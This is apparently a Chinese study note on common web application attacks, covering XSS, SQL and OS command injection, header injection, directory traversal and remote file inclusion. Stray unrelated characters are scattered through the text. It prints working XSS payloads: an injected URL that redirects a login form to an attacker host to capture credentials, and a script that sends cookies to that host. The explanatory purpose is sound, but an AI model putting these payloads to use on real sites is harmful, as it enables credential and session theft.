簡單的HTTP協(xié)議本身并不存在安全性問題绘迁,因此協(xié)議本身幾乎不會成為攻擊的對象合溺。應用HTTP協(xié)議的服務器和客戶端,以及運行在服務器上的Web應用等資源才是攻擊目標缀台。
來自互聯(lián)網的攻擊大多是沖著Web站點來的辫愉,它們大多把Web應用作為攻擊目標。
一将硝、針對Web應用的攻擊技術
在客戶端即可篡改請求:
在 Web 應用中,從瀏覽器接收到的HTTP請求的全部內容屏镊,都可以在客戶端自由的更改依疼、篡改。所以 Web 應用可能會接收到與預期數(shù)據不相同的內容而芥。
在HTTP請求報文內加載攻擊代碼律罢,就能發(fā)起對Web應用的攻擊。
針對 Web 應用的攻擊模式:?主動攻擊、被動攻擊
主動攻擊?是指:攻擊者通過直接訪問Web應用误辑,把攻擊代碼傳入的攻擊模式沧踏。
由于該模式是直接針對服務器上的資源進行攻擊,因此攻擊者需要能夠訪問到那些資源巾钉。
例:SQL注入和OS命令注入攻擊翘狱。
被動攻擊??是指:利用全套策略執(zhí)行攻擊代碼的攻擊模式。
攻擊者不直接對目標Web應用訪問發(fā)起攻擊砰苍。
例:利用用戶的身份攻擊原本從互聯(lián)網上無法直接訪問的企業(yè)內部網絡
二潦匈、因輸出值轉義不完全引發(fā)的安全漏洞
實施 Web 應用的安全對策,大致分為兩部分:
? ● 客戶端的驗證
? ● Web 應用端的驗證(服務器端)
? ? ? ? ○ 輸入值驗證
? ? ? ? ○ 輸出值驗證
多數(shù)情況下赚导,采用 JS 在客戶端驗證數(shù)據茬缩。可是在客戶端允許篡改數(shù)據或關閉 javascript吼旧,不適合將JS驗證作為安全的防范對策凰锡。保留客戶端驗證只是為了盡早地識別輸入錯誤,起到提高 UI 體驗的作用圈暗。
Web 應用端的驗證:
輸入值驗證:按 Web 應用內的處理可能被誤認為是具有攻擊性意義的代碼掂为。
? ? ? ? ? ? ? ? ? ? ? 通常是檢驗是否符合系統(tǒng)業(yè)務邏輯的數(shù)值或檢查字符編碼等預防策略。
輸出值驗證:從數(shù)據庫厂置、文件系統(tǒng)菩掏、HTML 或郵件等輸出 Web 應用處理的數(shù)據的時候,針對輸出做值轉義處理是一項至關重要的安全策略昵济。輸出值轉義不完全時智绸,會因觸發(fā)攻擊者傳入的攻擊代碼,而給輸出對象帶來損害访忿。
(一)跨站腳本攻擊 (Cross-Site Scripting瞧栗,XSS)
跨站腳本攻擊是指:通過存在安全漏洞的 Web 網站注冊用戶的瀏覽器內運行非法的 HTML 標簽或 JS 進行的一種攻擊。
動態(tài)創(chuàng)建的 HTML 部分有可能隱藏著安全漏洞海铆。攻擊者編寫腳本設下陷阱迹恐,用戶在自己的瀏覽器上運行時,一不小心就會受到被動攻擊卧斟。
可能造成的影響:
? ? 1. 利用虛假輸入表單騙取用戶個人信息殴边。
? ? 2. 利用腳本竊取用戶的 Cookie 值,被害者在不知情的情況下珍语,幫助攻擊者發(fā)送惡意請求锤岸。
? ? 3. 顯示偽造的文章或圖片。
XSS案例:
案例1:??在動態(tài)生成HTML處可能隱含安全漏洞
以編輯個人信息頁面為例:
輸入帶有HTML標簽的字符串板乙,瀏覽器會把用戶輸入的 < s > 解析成HTML標簽是偷。
刪除線顯示出來并不會造成太大的不利后果,但如果換成使用 script 標簽呢?
案例2:?
XSS攻擊是攻擊者利用預先設置的陷阱觸發(fā)的被動攻擊
下圖網站通過地址欄中 URI 的查詢字段指定 ID蛋铆,即相當于在表單內自動填寫字符串的功能馋评。就在這個地方,隱藏著可執(zhí)行跨站腳本攻擊的漏洞刺啦。
充分熟知此處漏洞特點的攻擊者留特,于是創(chuàng)建了下面這段潛入惡意代碼的 URL。并隱藏植入事先準備好的欺詐郵件中或 Web 頁面內洪燥,誘使用戶去點擊改 URL磕秤。
http://example.jp/login?ID="><script>var+f=document .getElementById("login");+f.action="http://hackr.jp/pwget";+f. method="get";</script><span+s="
瀏覽器打開該 URI 后,直觀感覺沒有發(fā)生任何變化捧韵,但設置好的腳本卻偷偷開始運行了市咆。
之后,ID 及密碼會傳給該正規(guī)網站再来,接下來仍然是按正常登錄步驟蒙兰,用戶很難意識到自己的登錄信息已遭泄漏。
對 http://example.jp/login?ID=yama 請求時對應的HTML源代碼(摘錄)
<form action="http://example.jp/login" method="post" id="login"> ? ? <div class="input_id"> ? ? ? ? ID: <input type="text" name="ID" value="yama"> ? ? </div> ...
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action
="http://hackr.jp/pwget";+f.method="get";</script><span+s="? 請求時對應的HTML源代碼(摘錄)
<form action="http://example.jp/login" method="post" id="login"> ? ? <div class="input_id"> ? ? ? ? ID: <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method="get";</script><span s="" /> ? ? </div> ...
案例3. 對用戶 Cookie 的竊取攻擊
除了表單芒篷,惡意構造的腳本同樣能夠以XSS的方式竊取到用戶的 cookie 信息搜变。
<script src=http://hackr.jp/xss.js></script>
http://hackr.jp/xss.js 文件的內容:
var content = escape(document.cookie); document.write("<img src=http://hackr.jp/?"); document.write(content); document.write(">");
在存在可跨站腳本攻擊安全漏洞的Web應用上執(zhí)行上面這段 JS 程序,即可訪問到該 Web 應用所處域名下的 Cookie 信息针炉。
(二)SQL 注入攻擊
SQL注入是指:針對 Web 應用使用的數(shù)據庫挠他,通過運行非法 SQL 而產生的攻擊篡帕。有時會直接導致個人信息及機密信息的泄漏。
(三)OS 命令注入攻擊
OS命令注入攻擊是指:通過 Web 應用拢军,執(zhí)行非法的操作系統(tǒng)命令達到攻擊的目的茉唉。只要在能調用 Shell 函數(shù)的地方就有存在被攻擊的風險结执。
可以從Web應用中通過Shell來調用操作系統(tǒng)命令。倘若調用Shell時存在疏漏坚芜,就可以執(zhí)行插入的非法OS命令。
(四)HTTP 首部注入攻擊
HTTP首部注入攻擊是指:攻擊者通過在響應首部字段內插入換行铸敏,添加任意響應首部或主題的一種攻擊。
(五)郵件首部注入攻擊
郵件首部注入是指: Web 應用中的郵件發(fā)送功能闪水,攻擊者通過向郵件首部 To 或 Subject 內任意添加非法內容發(fā)起的攻擊蒙具。
利用存在安全漏洞的網站禁筏,可對任意郵件地址發(fā)送廣告郵件或病毒郵件。
(六)目錄遍歷攻擊
目錄遍歷攻擊是指:對本來無意公開的文件目錄篱昔,通過非法截斷其目錄路徑后,達成訪問目的的一種攻擊空执。
通過 Web 應用對文件處理操作時穗椅,在由外部指定文件名的處理存在疏漏的情況下,用戶可使用 .../ 等相對路徑定位到 /etc/passed 等絕對路徑上门坷,因此服務器上任意的文件或文件目錄皆有可能被訪問到桑孩。這樣一來,就有可能非法瀏覽敏簿、篡改或刪除 Web 服務器上的文件惯裕。
應關閉指定對任意文件名的訪問權限绣硝。
(七)遠程文件包含漏洞
遠程文件包含漏洞是指:當部分腳本內容需要從其他文件讀入時鹉胖,攻擊者利用指定外部服務器的 URL 充當依賴文件,讓腳本讀取之后挠铲,就可運行任意腳本的一種攻擊拂苹。
應控制對任意文件名的指定瓢棒。